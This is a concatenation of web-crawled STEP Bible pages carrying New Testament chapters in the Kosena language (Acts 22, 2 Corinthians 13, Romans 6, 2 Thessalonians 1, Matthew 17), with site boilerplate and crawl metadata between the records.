ánivo aampaꞋá kweémeꞋa Támásikasi-naopaꞋa egwaaꞋá kówánana kwáyáꞋwái kwíyómpakemba ságayamba tawáonkaan-tantaaꞋa tuwówana kuména súgáyáagaya úwaꞋa 7 marapáꞋá tuvamówánana aaiyé suꞋmai kwéisaawanana sááyena séna Sóroo nóra séwa kembá sáwíꞋa kwéono súwaꞋa 8 emá nááwa kwéseno séwánana kemá Násáretivakewaima Ísuma únama sáwíꞋa kwéumasinkaane súwasa 9 kesémo máyón-kwaasi ságayamba awánésa kwésimasimun-aimba íma kaweꞋá umái ísówaꞋa 10 áísaa eꞋa séꞋa Ísóigoo ke nóra ónaumno séwánana Ísóigo séna usásine Támásikasi-naopaꞋa kwinaná moóráwai Áánútumo embó ámakaim-bayai-aimba simámino súwana 11 ságayanko súgáyáagaya úwaꞋa íma kwéawanaawanasa kesé kwénaaun-kwaasi siyáán-toꞋmaesa Támásikasi-naopaꞋa kuráawe.\n12 kuwaná moóráwai áwíꞋa Ánánáesi Áánútun-aaiyavena asiramái ména kentáásí ámáámba kwéisowasa Yútaa-kwaasi Támásikasi-naopakewai kwenáwíꞋa mósá makówai 13 kesópaꞋa téna kesí egwaaꞋá taména séna Sóroo kesí kwaásiyo. óꞋomba kaweꞋá umái aúramba awánaniyone súwaꞋa avekáámbá súramba awánamai kaweꞋá ówánana 14 séna kentáá síkwáꞋnási Ísóigo embá usásinankaintavai kwená imáyáa kwaráníyone. kwená kawe-kwáyónáꞋá awáné kwenáái isé ónda po kwenáái kwaráníyone. 15 awánáánda-yantaa isáánda-yantaaꞋa amápa-kwaasi simátímaꞋmae naaíníyone. 16 íma úwoi maé usásine Ísóigo Ísumba ááyenana ená sáwí-imayaa mayauwáína Ísuntavai ísámai monoꞋ-nómbá peraaó Ánánáesi simásuwowaꞋa mirá uráumne.\n17 mirá éꞋa koyauweréꞋa YérúsaremuvaꞋa taméꞋa anóm-bonoꞋ-naumpaꞋa ÁánútumpaꞋa námúnaa kwéseꞋa kaainkáámbá awánaawanana 18 Ísóigo simásimena séna YérúsaremuvaꞋo máyáan-kwaasi kesáái simátímínasa íma kaweꞋá umái isánááovo avekáámbá usásine maankáꞋá tuwaaó Ísóigo súwaꞋa 19 Ísóigoo monoꞋ-náúmpímpáꞋá kwénaaeꞋa enááiyavai áraire sen-kwáásí tátoꞋmai tínkambai tavisímaeꞋa ándávaꞋa mátíyukaunda áꞋa suwánaraawe. 20 Sítíveni enáái simátímakaiwaimba tuvúkáankaꞋa kemá méꞋa sirunkó kaweꞋá kwéuwaꞋa tuvúkáan-kwaasiti paákár-únánkwátóiraꞋa kárákwiraawanasa tuvúwúwana pukáiye séwánana 21 Ísóigo séna aiꞋmáráana usásine nánkaꞋa óꞋonkaa-kwaasi kesáái simátímaꞋmae naauwó Ísóigo siráiye Póro siráiye.\n22 Póro súwasa naaémbo sún-aintavesa áwááꞋa sésa anónkar-anonkaꞋa kwésesa áíkeꞋa tuvuwíyana puwíno. mirán-kwáásí íma maambáráváꞋá méniye 23 anónkar-anonkaꞋa kwésesa miwítí unáánkwátói ayúkésa awáávána kwéesa ovaí káúresa óipaꞋa kwéiyaata uwaná 24 Árómáani-anondako i-kwáásíyávéna séna áíꞋmaeꞋa kentí naaúmpaꞋa íyóro súwasa mirá uwaná séna Pórombo áwírukuꞋa náíyana Yútaa-kwaasi tááigona ááimba sínata ísáano súwasa 25 Póromba ándánei asááúmankesa áwírukuꞋa nánáe sésa uwaná i-kwáásítí kawáánáꞋá máyowana Póro kwentávéna séna kemá Árómáani-kwaasiti aúváí-kwandaai tokáundawaimba ímo sísaa ombá aaivimbó maisinkésamo súwírukuꞋa nánááon-imayaa kwéomba pósa ámáámba karésa uwóvíꞋa ónááomba pósa íma úwoi súwírukuꞋa nánááowe Póro súwana 26 iséna kwená anóndakomba kosimámena séna minkwáásí Árómáani-kwaasiti aúváí-kwandaai tokáiwaimban-ivo nóra ónaumno súwana 27 anóndako iséna PóronopaꞋa téna séna Árómáani-kwaasiti aúváí-kwandaai tokáano súwana owé súwana 28 anóndako séna kemá anón-ontamba kwétuweꞋa mináúváí-kwándááí maimái tokáumne súwana Póro séna kesivo tokáimba póꞋa kegwáráꞋá úwoi tokáumne súwasa 29 áwírukuꞋa nánáe sun-kwáásí mináímbá isésa nénkaꞋa kuwaná anóndakogwaraꞋa áátavai éna séna Árómáani-kwaasiti aúváí-kwandaai tokáiwaimba asááúmankaunda uwóvíꞋa úne séna áátavai uráiye.\nPóromba monor-ánón-kwáásítópaꞋa máánkarain-kwasai.30 áátavai éna usá aaváyaavimba anóndako séna Yútaa-kwaasi Pórombo simánkáan-ainkona ááimba síyaꞋa isánáe séna mono-káwáá-kwáásíyé monor-ánón-kwáásíyávéna séna torupamái méwaro séna i-kwáásíyávéna Póro ayáámpinken-anda ayútuwaaro súwasa ayútuwowana áíꞋmaena torupamái máyónkaꞋa máánkaraiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.22","date":"2018-04-19T10:03:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936833.6\/warc\/CC-MAIN-20180419091546-20180419111546-00129.warc.gz","language":"kze","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000046491622925}","num_words":566,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 13\nÍsun-aaiyavai tirunkakémbá áraire simái kárákwiyon-kwasai.1 kae-táwai kentópaꞋa komáyaawandanivo ókwaraꞋa kónaumne. kaumbo-káé-kwaasimo mimbórá-ánkáꞋó síyan-aimbo éta mináínkómbá arupí ónaundayaawe. 2 íma aiva-táwaiman-ivo naaén-tawai kentópaꞋa komáyaawanda sáwíꞋo uráawaiye amáparawaiye asirayán-áímbá simátímakaumne. ívéꞋa kentí némpaꞋo máyaunda mináímbá simátimeꞋa séꞋa kentópaꞋo kondá sáwíꞋo uráantaveꞋa kogwésimatimeꞋa íma eétínkáanda sáwí-meyamba timénaumne kwésune. 3 kentávéꞋa séꞋa Ísu Káráísiti simámisanawa kwési. kwená imáyáávinkena kwésiyo kwésewe. kentópaꞋo kondá sáwí-meyamba timénaundaraꞋa suwánéꞋa séꞋa Ísu Káráísiti kwésimamintemba kwésimasimintaawe sénááowe. kwemá Káráísiti kentirumpimbá mayáí kwémaena íma aamoisáyáwáí éna kwená asirayándéí mayáí kwémayaiye. 4 ááéma kwemá asirayámbá tuwéna aamoisayán-kwáásíráámbá umái máyowasa taairaꞋá inkámúwana puwúwana Áánútu usásinankowana Áánútuna asirayánkáꞋá máyáiye. miráumai kesáágwáráꞋá aamoisayán-kwáásí máyaundanivo Ísu Káráísitiyeya tarúmai méta Áánútuna asirayánkáꞋá méta keinárawaꞋa kwétuwaꞋnaa-une.\n5 keinárawaꞋa moórá-morawai Ísu Káráísitin-aaiyaveꞋa tirunkakéná áraire simáíya kwenkáꞋá agevamáíya máyáaompo kesáváí-ímáyáá kwéeꞋa awánaaro. Ísu Káráísiti sirumpimbá máyáiye kwésemba tirunkakéná kwése. tóikakena kwéseompo imáyáa oró. mirámó éꞋa Ísu Káráísitina kwaásiya úne séꞋa 6 kentááyávéꞋa Áánútun-aai simásíméwain-owe sénááowe-imayaa kwéune. 7 kentááyávéꞋa séꞋa Áánútun-aai simásíméwain-owe sénááontaveta íma námúnaa súndayaanivo keinárawaꞋa kaweꞋá ónááontaveta ÁánútumpaꞋa námúnaa súndaya Áánútuwo túwaꞋnaa inasá kaweꞋá oró kwésune. íma sáwíꞋa ónááomba póta íma sáwí-meyamba kotíménasaya évakarawai kentááyávésa sésa íma Áánútun-aai simásíméwain-owe sénááomba mindá íma anón-tantaaꞋan-ivo keinárawaꞋa kaweꞋó umáímo ménaaomba mindá anón-tantaaꞋan-iye. 8 árair-ainko usáyaaitaino séta mayáíyá kwémaeta kwétuwaꞋnaa-une. 9 kentópaꞋo kondayá ÁánútuntaveꞋo asiramáímo ménaaombo éta aamoiyá ónaumne. mirámó íyambo éta íma sáwí-meyamba timéta aamoisayán-kwáásíráámbá umái méta mindáyavetaagwaraꞋa aamoí ónaumne. sáwíꞋo umáímo máyáampinkemba kaweꞋó umáímo ménaaontaveta ÁánútumpaꞋa námúnaaya kwésune. 10 kentópaꞋo kondá sáwíꞋo kwéontaveꞋa asirayán-áímbá kosimátimunavo séꞋa kentí némpaꞋa méꞋa maanáúváí agaimái kwétimune. íma sáwíꞋa umátinkeꞋa kentí imáyáa asiramátinkanaundayavena Ísóigo usásisinkowaꞋa keinárawakaꞋa kárákwiyeꞋa kentí némpaꞋa méꞋa maanáúváí agaimái timúmpo awánéꞋa súdantemba oró.\n11 kesí kwaásiyono. kaweꞋá umái méꞋa kawer-ámbá kwaréꞋa súndantemba éꞋa mimbórá-ímáyáá umái méꞋa paru umái máéro. mirámó íyambo éna Áánutu arumbá aména paru umátínkáiwai keinárawate méniye.\n12 Áánútuna akúníꞋa kwéontaveꞋa moórá-morawai tiyáámba tíméro. 13 Áánútuna kwaási maankáꞋá máyáawai keinárawatavesa kaweꞋá umái máéro kwésewe.\n14 Ísóigo Ísu Káráísiti úwoi kwétuwaꞋnaa-isana Áánútu arumbá kwétimisana kwenamankó keinárawate máyáísaꞋa mimbóráíꞋa umái kwémaentaveꞋa námúnaa kwésune.\nkemá Póro súnda-aimba ánásaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Cor.13","date":"2018-04-21T07:59:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945082.84\/warc\/CC-MAIN-20180421071203-20180421091203-00407.warc.gz","language":"kze","language_score":0.9999645948,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999645948410034}","num_words":475,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 6\nÍsuwe tarúmaiya máyaunda-kwasai.1 simátíménda ísáaro. maarán-áímbá íma seró. Áánútu úwoi súwaꞋnaa úmae iyínana anómba íníntaveta sáwíꞋa úmae kwéiyeta ménae íma seró. 2 púwón-kwaasimo miwítí sáwí-mayaigomo ímo ókwaraꞋo tátotuwenamo kwáíntemba kentáávímbá sáwí-mayaigo íma tátotuwena kwáyáísata póta íma sáwíta úmaeta kwéiyeta ménaumne. 3 maarán-áímbá ísaraawe. nombó pésinkaanta Ísu Káráísiti kweséya tarúsinkaisata kweséya pukáaraꞋnaraamba umáíya máyaunanaya kentáásí sáwí-imayaago íma tátoꞋmae kwéiyisata máyaumne. 4 nombó pésinkaanta kesáá Ísu Káráísitiye puwúnasaya utaráaraꞋnaraanta kwéunanaya kentáásí sáwí-imayaago íma tátoꞋmae kwéiyiye. Áánútu kentáásivowa óꞋoran-asirayandei pukáimpinkemba usásinankaraintemba kentáá usásisinkaraaraꞋnaraamba uráisata aúnáiꞋa umáíya máyaumne.\n5 Ísu Káráísitima pukáimba kwemó kwaásiti sáwí-mayaigomba usáyaaitaraintemba kweséya tarúmai máyaundayavenaya sáwí-mayaigo kentáá íma tátokaiye. miráumai Ísu Káráísitimo pukáimpinkembo usásinankaraintemba kweséya tarúmai máyaundayaveta aúnáiꞋa umáíya máyaumne. 6 maarán-áímbá ísaraawe. púwówanamo imbá sáwí-imayaago íma tátotuwena kwáyáísana kentáásí sáwí-imayaagona asirayámbá ánásainana kesáámó sáwíꞋo úmae kwéiyundawaiya íma tátoꞋmae iyíníntavena Ísu Káráísiti taairaꞋá pukáisana kentáásí sáwí-imayaago kentáá íma tátokaiye. 8 Ísu Káráísitiye pukáaraꞋnaraanta umáíya máyaundaya póta mináímbá árair-aimba isatá kweséya máyaumne. 9 maarán-áíntá ísaraumne. Ísu Káráísiti pukáimpinkemba usásinkaisana puwí-ásíráyánkó íma tátoraisana ókwaraꞋa íma kwévuwiye. 10 sáwíꞋo kwéombo ánásanintavena mimbórá-táwai pukáimba póna mindáyavena íma ókwaraꞋa puwéna usásinena ména Áánútuntavena imáyáa kwéena máyáiye. 11 miráumai imáyáa éꞋa séꞋa pukáaraꞋnaraanta umáíya máyaunanaya sáwíꞋo kwéundawaiya íma tátotuwena kwáyáísata méta Ísu Káráísitiye tarúmaiya máyaundaya Áánútu aamoí ínkwáe-iꞋa umáíya máyaumne.\n12 kentí sáwí-imayaayaveꞋa tirááíyaveꞋa ováínivo sáwíꞋo kwéowai keinárawaꞋa íma tátoraino. 13 kentúwawaaꞋneiye kentiyáánamaineiye íma owé simái sáwíꞋa kwéeꞋa pukáaraꞋnaraan-umai máyáawanamo usásintinkaisaꞋo máyáawai ÁánútumpaꞋa kentúwawaaꞋa améꞋa kwentávéꞋa owé simái kentúwawaaꞋneiye kentiyáánamaineiye kwená kaweꞋ-máyáíyé suꞋmai máyáaro. 14 Áánútu Mósesimbo simámakain-amaanko íma kárákwiyisana Áánútu úwoi túwaꞋnaa iwáí kárákwiyisana póna kentí sáwí-imayaago kentúraꞋa íma tátoraino.\nÁánútu kwená mayáí-kwáásí-íꞋa umátínkáin-kwasai.15 mináímbá imáyáa éꞋa simátíménda ísáaro. Áánútu Mósesimbo simámakain-amaanko kentááráꞋá íma kárákwiyisana Áánútu úwoi súwaꞋnaa iwáí kárákwiyisata mindáyaveta íma úwoi sáwíꞋa úmaeta íyóno. 16 kwená mayáí mayánaumnemo sembá kwemá kárákwiyisasa kwená mayáí-kwáásí máyáawe-aimba ísaraawe. miráumai sáwíꞋo íyanamo éna misáwí-ímáyáágó tátokainaꞋa misáwí-máyáí maimaé kwéiyeꞋa máyáawaina ááimba Áánútuna némpaꞋa maíꞋmaiꞋa ónááovo Áánútun-aaimo isáíyanamo éna kwemá kárákwirainaꞋa kwená mayáí maimaé kwéiyiyana kwenaúrankaꞋa arupí umátinkaniye. 17 ááémo sáwíꞋo uráam-bayaigo tátokowasa naaémba árair-aimba simátímaꞋmae íyówaꞋa iséꞋa kentirumpimbá asiramái tátokaawaꞋa mindáyaveꞋa ÁánútumpaꞋa súwi kwésune. 18 sáwíꞋo kwéum-bayaigo tátokompinkemba Áánútu iyátinkowaꞋa arupí-mayai kwémayaawana minárúpí-máyáígó tátokaiye. 19 íma asiramái máyáantaveꞋa kesáái isánááon-aimba simátimune. ááéma sáwíꞋa ónáe séꞋa óꞋon-oꞋon-tantaakwaraꞋa sáwíꞋa uwaná tátokombanivo ívéꞋa kaweꞋá ónáe séꞋa kaweꞋ-máyáíyé suꞋmai kwémaeꞋa Áánútundei-iꞋa oró.\n20 ááémo sáwíꞋo um-báyáígó tátokonkaꞋa kaweꞋó ií-ímáyáá íma kwéeꞋa 21 sáwíꞋo uráamba ívéꞋa tigaemá kwéiye. sáwíꞋo untavéna íma kawe-tántááꞋá kentópaꞋa tiráiye. mirá-sáwíꞋó úmae íyómpinkemba máyáawaina ááimba Áánútuna némpaꞋa maíꞋmaiꞋa kwéowe. 22 Áánútu sáwíꞋo kwéumpinkemba iyátinkena kwená mayáí-kwáásí-íꞋa umátínkaraimba póꞋa Áánúntundei-iꞋa umái méꞋa aúnáiꞋa umái maíꞋmaiꞋa ónááowe. 23 sáwíꞋo kwéom-bayaigona anondá puwónááombanivo Áánútu kentáásí Ísóigo Ísu Káráísitina mayáí imáyáa éna aúnáitaamo umáíya maíꞋmaiꞋo ónaunda-ita kwéumasinkaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rom.6","date":"2018-04-22T10:38:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945584.75\/warc\/CC-MAIN-20180422100104-20180422120104-00499.warc.gz","language":"kze","language_score":0.9999554157,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.999955415725708}","num_words":578,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Thessalonians 11 kemá Póro maanáímbá maanáúváívímbá agaimaráúmpo ísáaro. moóráwai áwíꞋa Sáírásiye moóráwai áwíꞋa Tímótiye kesé máyaayankaꞋa moórá-kwasai sénaumpo ísáaro. Tésárónaikaa-naopakewaima Ísóigona kwaási ísáaro. Áánútu kentáásivoe tarúmai Ísóigo Ísu Káráísitiye tarúmai máyáawaima ísáaro. 2 Áánútu kentáásivowawe Ísóigo Ísu Káráísitiye úwoi kwétuwaꞋnaa-esarai paru kwéumatinkaayantaveꞋa námúnaa kwésune.\n3 kentáásí kwaásiyono. ááéma Áánútun-aaiyaveꞋa áraire séꞋa kwenkáꞋá agevamái méꞋa ívéꞋa asiramái Áánútuwe aráápamai máyáawe. ááéma moórá-morawaivimba kentirumbá tímakaamba isaꞋá ívéꞋa kentirumbá tímaꞋmae kwégowe. mirámó kwéomba mindáyaveta ÁánútumpaꞋa súwi símae kwéiyeta námúnaaya kwésundaya kawetá kwéune. 4 Ísu Káráísitina kwaási ontávésa sáwíꞋa umátinkesa tíꞋa iníꞋa kwéumatinkaamba ÁánútunkaꞋa agevamái méꞋa íma auwéꞋa kwentávéꞋa ísámai asiramái máyáamba póta Áánútuna kwaási moórá-mora-naopimpaꞋa máyáanta simátimeta kentúwíꞋa mósá makáumne.\n5 miráumai asiramái máyáamba pósa tíꞋa iníꞋa kwéumatinkaamba iséta séta Áánútu arupí-meyamba timínímba póna kaweꞋnáráwariꞋa kwéumatinkena kwégaragwiyiye kwésune. 6 Áánútu arupí umái máyáiwai sáwíꞋo kwéumatinkaawai sáwí-meyamba tiména 7 kentí umbai-yántááré kentáásí umbai-yántááré ánásasiyuwanintaawe. Ísóigo Ísu kwíyómpakemba kumíndaraꞋa kwená asirayán-kwáyóꞋnárawakwaraꞋa iraráámbá kúraꞋmae kumíndaraꞋa kentí umbai-yántááré kentáásí umbai-yántááré Áánútu ánásasiyuwena 8 ÁánútumpaꞋo ímo tésamo nénkaꞋo máyáawai sáwí-meyamba tiména Ísóigo Ísuna áséi-kwasai ímo taagwiyavíyawai sáwí-meyamba timíníye. 9 miwítí sáwí-meyamba maarán-iye. sáwí-meyambo kwaíkwaiꞋo ínín-ayampaꞋa aasiyaasí maíꞋmaiꞋa íyana Ísóigo aambá ítáyuwainasa kwenópaꞋa íma iyésa kwená óꞋoran-asirayamba íma awánanaaowe. 10 mitáwai kumíndaraꞋa kwená kwaási kwenááiyavesa áraire sésa kwenkáꞋá agevamái máyáawai kwenáwíꞋa anómba umánkesa áwíꞋa mósá marésa aamoí ónááowe. Ísun-aai simátimewanata keinárawakwaraꞋa áraire séꞋa kwenkáꞋá agevamái máyáamba póꞋa mirá ónááowe.\n11 mindáyaveta keinárawaꞋa túwaꞋnaa eta maarán-áímbá námúnaa símae kwéiyune. Áánútu kwená kwaási-iꞋa umátinkaindayavena tááyena kaweꞋnáráwariꞋa umátinkanintaveta námúnaaya kwésune. Áánútu asirayámbá timínaꞋa kentí imáyáavinkemba kaweꞋ-máyáí maimaé iyónááontaveta námúnaaya kwésune. Áánútu asirayámbá timínaꞋa kwenkáꞋá agevéꞋa asiramái ménaaomba póꞋa kaweꞋ-máyáí mayánááontaveta námúnaaya kwésundaya póꞋa 12 keinárawapimba Ísóigo Ísu áwíꞋa anómba íyana Ísu kwená kwaási-iꞋa kwéontavena kentúwíꞋa maimaé iyíníye. kentáásí Áánútuwe Ísóigo Ísuwe úwoi túwaꞋnaa úyamba póꞋa Ísóigo Ísu áwíꞋa mósá maránááontaveta námúnaaya kwésune.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Th.1","date":"2018-04-21T17:45:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945272.41\/warc\/CC-MAIN-20180421164646-20180421184646-00260.warc.gz","language":"kze","language_score":0.9999655485,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999655485153198}","num_words":441,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 17\nÍsu óꞋon-kuwawaaꞋa aúkáin-kwasai.1 Ísu mináímbá simásuwena avaꞋmoraé-noꞋwaamba kwaéna Pítaante Yémésinte kwenáváko Yóninte umái tíꞋmaena omápaꞋa iyúmba miwíyé suꞋmai umésa 2 miwí túrankaꞋa Ísu óꞋoran-auma auvúwana óipakemba aaváúgómó inten-úwana kwená unáánkwátóirakemba sán-kena kwayáníꞋa kówasa 3 awánomba kae-kwáásíráí kwíyómpakemba paárésarai mindárai túwíꞋa Mósesiye Íráiyaae Yútaa-kwaasi tíkwáꞋnárai Ísuwe kwaasái kwésuyana 4 Pítaa Ísuntavena séna Ísóigoo maankáꞋó maúndaya kaweꞋá imbá póta emó sinataamó éta kwááyu-namba kaumbomá ónaundaya moórá endéí éta moórá Mósesindei éta moórá Íráiyaandei éta mirá ónaundayaawe siráiye.\n5 mirá kwésunkaꞋa ainánkó sán-kámaena kwayáníꞋa kámae kuména kunkáátowana mináínámpínkémbá aaigówé suꞋmai séna maawámá kesáánimba isaꞋá kwená imáyáa kwéeꞋa ávááraumai aamoí umánkaumne. kwenáái ísáaro súwasa 6 kwená kwayóꞋnárau mináímbá isésa marapáꞋá kumbésa táátavesa ésa tiyántámbá kwétowana 7 Ísu miwímó máyópaꞋa téna tineꞋá tátorena séna tááꞋa kaivó usásinaaro súwasa 8 awánomba mindárai kwíyómpaꞋa íyúyana Ísuwe suꞋmai méraiye.\n9 máyowasa omápakemba kúmúmba Ísu asiramái simátimena séna awánaamba íma simátíméro. kemá kwaási úrandaꞋa kumpaáruraundawai púwóndavinkemba usásinaandaraꞋa awánaamba kanaaráꞋá simátímaꞋmae íyóro súwasa 10 kwená kwayóꞋnárau Ísumba áísaa esa sésa ámáámba sen-kwáásí Íráiyaa aivaꞋá paárínana Áánútu usásinankaiwai Yútaa-kwaasiya amuꞋmakáúndawaiya naaémba paáriniyemo sembá nóra sésa mináímbá kwéseo suwaná 11 Ísu séna aivaꞋá Íráiyaa paáréna toꞋmayaa íníye-aimba árair-aimban-iye. 12 simátimeꞋa séꞋa Íráiyaa áꞋa paárúwasa íma aúyésa sáwíꞋa umánkanae sésa sáwíꞋa umánkesa mirá uráantemba kembá kwaási úrandako kumpaáruraundawaimba sáwíꞋa umásinkanaaowe súwana 13 tááko pééi súwasa Íráiyaa siráimba Yóni nombá pétinkaraiwaintavena siráiye siráawe.\nÍsu taraváá-kwámbá mayáúkain-kwasai.14 simásuwesa omápakemba kúmúmba sáwíva-kwaasi torupamái máyówasa awánomba moóráwai ÍsunopaꞋa téna aísamaivimba kumbéna séna 15 anóndakoo kesáánimba arumbá umánkaao. sáwíꞋa umái ména tanaambá váguvagu kwéena aigaregó nonkáánéna aíyayaamba sápísimagwisana nompíné iravíné tanaambá kwévamae kwénaaisaꞋa 16 ená kwayó-kwáásí máyáapaꞋa máankaunasa íma kanaán-umai kaweꞋá umánkaraawe súwana 17 Ísu séna kentí imáyáa kaeꞋnáér-imayaama isaꞋá kentávéꞋa íma imáyáa kwéowana póna sirumbá umbaí kwétaivo nóraumai-tawaiyaꞋi kesé ménaumpo enáánimba áíꞋmae tiyó súwana áíꞋmaena túwana 18 Ísu taraváá-kwántávéna séna auwé kóaao súwana arumpinkémbá auwéna kóúwana miníyámpóí kaweꞋá umánkowana kaweꞋá umái méraiye.\n19 kaweꞋá umánkowasa naaémbo Ísu kweyáá máyonkaꞋa kwená kwayó-kwáásí tésa sésa nóra séta mintáráváá-kwámbá íma kanaán-umaiya mayáúkaumno suwaná 20 Ísu séna ÁánútuntaveꞋo mayauwáníyemo séꞋo asiramáímo máyáankakai mayaúwáísino. áraiꞋa simátimeꞋa séꞋa moórá-taigo áwíꞋa másátati sáwíyan-aramba maꞋmakáisana áruma kwikéna anón-tainambo kwéiyintemba kesé aráápamai sáwíyankaꞋa méꞋa naaémba anóniꞋa umái aráápamai méꞋa omátaveꞋo séꞋo kítímae ór-ayampaꞋa kóaaomo síyanamo éna mirá íníye.[ 21 Ísu mináímbá siráimba kwesé aráápamai máyáamba kwená mayáí amápaꞋa kanaán-umai mayánááontavena siráiye.]\nÍsu puwínín-aimba siráin-kwasai.22 Ísu kwená kwayó-kwáásí Káríri-ayampaꞋa torupamái máyówana Ísu simátimena séna kembá kwaási úrandaꞋa kumpaáruraundawaimba óꞋon-kwaasi timíyasa 23 sínkamiyaꞋa puwéꞋa kaumbo-táwai maisúwáanana usásisinkaniye súwana miwí tirunkó umbaí taráiye.\ntáákísi-ontamba tukáan-kwasai.24 tirunkó umbaí tówasa Ísu kwená kwayó-kwáásíyé Kápénéamu-naopaꞋa kumbá anóm-bonoꞋ-nankontavesa táákísi-ontamba kwémayaawai PítaanopaꞋa tésa sésa ená anóndako anóm-bonoꞋ-nankontavena táákísi-ontamba kwétuwai. íya kwétuwaiyo suwaná 25 Pítaa séna kwétuwaiye simásuwena naaúmpaꞋa iyúwana táákísin-aimbo ímo sirónkaꞋa Ísu Pítaamba áísaa ena séna Sáímoniyo marapákén-ánón-kwáásí timááraawitopakemba táákísi-ontamba maésa óꞋonkaatopakemba maésawa kwéompo nóran-imayaamo kwéemo e simásimiyo súwana 26 Pítaa séna táákísi-ontamba óꞋonkaatopakemba mairáawe súwana Ísu séna miráumai Áánútuna kwaásiya póta anóm-bonoꞋ-nankona táákísi-ontamba íma tuwánaundayaanivo 27 áwááꞋa seváí póta úwoi tuwánaundayaanivo nonkwaaúmpáꞋá kuré ánda túwénana kumína aivaꞋó torénda-noyaaꞋa mairé óipimbo óntambo kwáyaina maimaé minóntándéí esáváíyé kentáváíyé táákísi móuwo Ísu súwana mirá uráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the 